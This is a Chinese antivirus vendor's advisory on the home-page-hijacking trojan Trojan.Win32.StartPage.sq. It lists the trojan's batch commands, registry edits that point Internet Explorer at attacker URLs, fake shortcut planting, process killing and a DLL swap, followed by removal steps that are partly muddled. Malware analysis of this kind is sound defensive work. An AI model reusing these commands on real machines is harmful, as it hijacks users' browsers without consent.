标题：首页篡改虫
病毒简介
超级巡警团队监测到恶意程序Trojan.Win32.StartPage.sq正在传播。超级巡警建议用户使用超级巡警来防御查杀此类病毒。同时提醒广大用户及时更新病毒库，对该程序进行有效查杀。
病毒分析
病毒标签：
病毒名称：Trojan.Win32.StartPage.sq
病毒别名：首页篡改虫
病毒类型：木马类
危害级别：2
感染平台：Windows
病毒大小：273,259 字节
S H A 1  ：2527a13b7bcc7b40953821ce40277b5ef1e6aa20
加壳类型：Rar
开发工具：Microsoft Visual C++ 6.0
病毒行为
1、病毒运行后通过自解压脚本命令，解压病毒文件到：
Path=%windir%\system32
自解压为以下病毒文件：
“hao123.zip”，“go.bat”，“hao123.exe”，“lnternet Explorer.lnk”，文件夹“1”，文件夹“2”，文件夹“3”
2、自解压的同时运行go.bat：
@echo off
start /min hao123.exe
3、病毒文件hao123.exe运行后，添加以下注册表项及键值来达到篡改主页等目的：
HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command
数值数据 "C:\Program Files\Internet Explorer\iexplore.exe" http://www.5414.
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
数值名称:Start Page
数值数据: www.111333/?in=StarPage
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
数值名称:Search Page
数值数据:www.111333/?in=IESearch
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
数值名称:Search Bar
数值数据:www.111333/?in=IERSearch
HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu
数值名称：{871C5380-42A0-1069-A2EA-08002B30309D}
数值数据: 1
HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel
数值名称：{871C5380-42A0-1069-A2EA-08002B30309D}
数值数据: 1
HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet\
IEXPLORE.EXE\shell\open\command
数值数据:
C:\\Program Files\Internet Explorer\
iexplore.exe  http://www.111333/?in=startmenu
4、删除以下注册表项：
"reg delete HKEY_CLASSES_ROOT\piffile /v IsShortcut /f "
"reg delete HKEY_CLASSES_ROOT\lnkfile /v IsShortcut /f "
5、删除以下文件：
del "%ALLUSERSPROFILE%\..\*Internet*.lnk" /s  "
del "%ALLUSERSPROFILE%\..\*Internet*.url" /s  "
6、分别复制解压出来的3个病毒文件夹内的文件到以下路径：
xcopy "1\lnternet  Explorer.lnk" "%ALLUSERSPROFILE%\桌面\" /k /c /q /r /y
xcopy "2\lnternet  Explorer.lnk" "%ALLUSERSPROFILE%\「开始」菜单\程序\" /k /c /q /r /y 
xcopy "3\lnternet  Explorer.lnk" "%AppData%\Microsoft\Internet Explorer\Quick Launch" /k /c /q /r /y  
7、强行结束以下进程：
taskkill /f /im explorer.exe
taskkill /f /im IEXPLORE.EXE
8、重命名以下文件，达到URL转向病毒指定网址的目的：
rename %windir%\system32\shdoclc.dll shlos.rar
rename %windir%\system32\hao123.zip shdoclc.dll
替换的shdoclc.dll文件的stringtable的76目录项下的1211号资源字符串，实现“当用户在IE地址栏输入错误的时候，转向病毒设置URL="http://www.2d2/?wd=%s&ie=utf-8&id=5"
9、cls清屏后，再打开explorer.exe：
"cls"
"%systemroot%\explorer.exe"
解决方案
推荐方案：安装超级巡警进行全面病毒查杀。超级巡警用户请升级到最新病毒库，并进行全盘扫描。
超级巡警下载地址：http://www.sucop/download/16.html
专杀下载地址：http://a1.sucop/killer/StartPage_killer.zip手工清除方法：1、结束病毒进程。打开超级巡警，选择进程管理功能，终止以下进程：
hao123.exe　     
2、删除病毒生成以下文件：
Path=%windir%\system32
“go.bat”，“hao123.exe”，“lnternet Explorer.lnk”“hao123.zip”，文件夹“1”，文件夹“2”，文件夹“3”
3、把被病毒修改过的注册表项按照如下修改:
HKEY_CLASSES_ROOT\CLSID\{871C5380-42A0-1069-A2EA-08002B30309D}\shell\OpenHomePage\Command
数值数据 "C:\Program Files\Internet Explorer\iexplore.exe" 
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
数值名称:Start Page
数值数据: about:blank
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
数值名称:Search Page
数值数据:
http://www.microsoft/isapi/redir.dllprd=ie&;ar=iesearch
HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Explorer\HideDesktopIcons\ClassicStartMenu
数值名称：{871C5380-42A0-1069-A2EA-08002B30309D}
数值数据: 0
HKEY_CURRENT_USER\Software\Microsoft\Windows\
CurrentVersion\Explorer\HideDesktopIcons\NewStartPanel
数值名称：{871C5380-42A0-1069-A2EA-08002B30309D}
数值数据: 0
HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet\
IEXPLORE.EXE\shell\open\command
数值数据:
"C:\Program Files\Internet Explorer\iexplore.exe"
4、删除以下注册表键值:
HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main
数值名称:Search Bar
数值数据:www.111333/?in=IERSearch
5、添加以下注册表项键值:
HKEY_CLASSES_ROOT\piffile /v IsShortcut /f 
HKEY_CLASSES_ROOT\lnkfile /v IsShortcut /f 
6、新建文本文档写入如下内容，并保存为sucop.bat，运行
rename %windir%\system32\shlos.rar shdoclc.dll
rename %windir%\system32\shdoclc.dll sq.rar
7、删除以下文件:
xcopy "1\lnternet  Explorer.lnk" "%ALLUSERSPROFILE%\桌面\" /k /c /q /r /y
xcopy "2\lnternet  Explorer.lnk" "%ALLUSERSPROFILE%\「开始」菜单\程序\" /k /c /q /r /y 
xcopy "3\lnternet  Explorer.lnk" "%AppData%\Microsoft\Internet Explorer\Quick Launch" /k /c /q /r /y
用正常文件来恢复以下文件:
%ALLUSERSPROFILE%\..\*Internet*.lnk
%ALLUSERSPROFILE%\..\*Internet*.url
安全建议
1、立即安装或更新防病毒软件并对内存和硬盘全面扫描(推荐安装超级巡警)。
2、根据实际安全级别需要适当考虑选用防火墙，并进行正确的设置。
3、使用超级巡警的补丁检查功能，及时安装系统补丁。  
4、禁用或删除不必要的的帐号，对管理员帐号设置一个强壮的密码。 
5、禁用不必要的服务。
6、不要使用IE内核的浏览器。
7、不要随便打开不明来历的电子邮件，尤其是邮件附件。
8、不要随意下载不安全网站的文件并运行。
9、不要随便登陆不明网站，特别不要随意登陆需要自己银行帐号或手机及计算机系统帐号的不
明网站。
10、不要轻易打开即时通讯工具中发来的链接或可执行文件。
附注：
%System% 是一个可变路径，在windows95/98/me中该变量是指%Windir%\System，在
WindowsNT/2000/XP/2003/VISTA中该变量指%Windir%\System32。其它：
%SystemDrive% 　　     　　          系统安装的磁盘分区
%SystemRoot% = %Windir% 　　  WINDODWS系统目录
%ProgramFiles%　 　 　　　　        应用程序默认安装目录
%AppData% 　　     　　                应用程序数据目录
%CommonProgramFiles%　　         公用文件目录
%HomePath% 　　     　　              当前活动用户目录
%Temp% =%Tmp% 　　     　　     当前活动用户临时目录
%DriveLetter% 　　     　　             逻辑驱动器分区
%HomeDrive% 　　　     　　          当前用户系统所在分区